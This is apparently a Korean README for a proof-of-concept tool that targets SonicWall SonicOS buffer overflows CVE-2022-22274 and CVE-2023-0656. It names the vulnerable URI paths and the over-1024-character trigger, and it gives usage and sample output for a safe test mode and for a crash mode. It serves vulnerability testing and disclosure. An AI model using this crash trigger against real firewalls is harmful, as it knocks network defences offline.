
SonicWall SonicOS 스택 기반 버퍼 오버플로우(CVE-2022-22274, CVE-2023-0656)에 대한 개념 증명 익스플로잇으로, 조작된 HTTP 요청을 통해 취약한 방화벽의 안전한 테스트 또는 충돌 악용을 가능하게 합니다.

2022년 3월 24일, SonicWall은 다음과 같은 세부 정보가 포함된 권고를 발표했습니다:
SonicOS의 HTTP 요청을 통한 스택 기반 버퍼 오버플로우 취약점으로 인해 원격 인증되지 않은 공격자가 서비스 거부(DoS)를 일으키거나 방화벽에서 코드 실행을 초래할 수 있습니다.
참고: 이 취약점은 "웹 관리" 인터페이스에만 영향을 미치며, SonicOS SSLVPN 인터페이스는 영향을 받지 않습니다.
2023년 3월 2일, SonicWall은 또 다른 유사한 권고를 발표했습니다:
SonicOS의 스택 기반 버퍼 오버플로우 취약점으로 인해 원격 인증되지 않은 공격자가 서비스 거부(DoS)를 일으킬 수 있으며, 이로 인해 영향을 받은 방화벽이 충돌할 수 있습니다.
참고: 이 취약점은 "웹 관리" 인터페이스에만 영향을 미치며, SonicOS SSLVPN 인터페이스는 영향을 받지 않습니다.
두 문제 모두 동일한 취약한 코드 패턴과 관련되어 있으며 동일한 익스플로잇 페이로드를 사용하지만, 서로 다른 URI 경로에서 트리거됩니다.
버퍼 오버플로우는 1024자를 초과하는 URI 경로가 포함된 HTTP 요청을 통해 트리거됩니다. CVE-2022-22274는 /resources/ 또는 Advanced Threat Protection URI 경로(/atp/ 활성화 시, 비활성화 시 //)에서 악용될 수 있습니다. CVE-2023-0656은 /stats/ 또는 /Security_Services에서 악용될 수 있습니다.
이 저장소에는 네 가지 URI 경로 모두에서 대상의 취약성을 테스트하기 위한 개념 증명 스크립트가 포함되어 있습니다. 기본적으로 안전한 테스트를 수행하지만, 버그를 악용하여 대상을 충돌시킬 수도 있습니다.
참고: 기본 구성에서 짧은 시간 내에 3번 연속 충돌이 발생하면 SonicOS가 장치를 디버그 모드로 재부팅하며, 관리자가 다시 온라인 상태로 복구할 때까지 접근할 수 없습니다. 책임감 있게 사용하세요!
Install Python 3 and run python -m pip install -y argparse.
usage: poc.py [-h] [-t] [-x {1,2,3,4,5}] [-s] target
positional arguments:
target hostname[:port] (port defaults to 443)
options:
-h, --help show this help message and exit
-t, --test safely test for vulnerability (default action)
-x {1,2,3,4,5}, --exploit {1,2,3,4,5}
exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services
-s, --skip-header-check
skip initial check for SonicWALL response header
Test a vulnerable target:
$ ./poc.py 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at //
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2023-0656 at /Security_Services
[+] Target looks vulnerable! (redirected)
Exploit a vulnerable target:
$ ./poc.py -x 1 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Triggering exploit at /resources/
[+] Exploit succeeded! (target unavailable)
Test and exploit a patched target:
$ ./poc.py -tx 4 192.168.50.31
[*] Checking https://192.168.50.31:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at //
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2023-0656 at /Security_Services
[-] Target appears to be patched (empty response)
[*] Triggering exploit at /stats/
[-] Exploit failed (target responded)
이 프로젝트는 GNU GPL 3.0 라이선스에 따라 라이선스가 부여됩니다.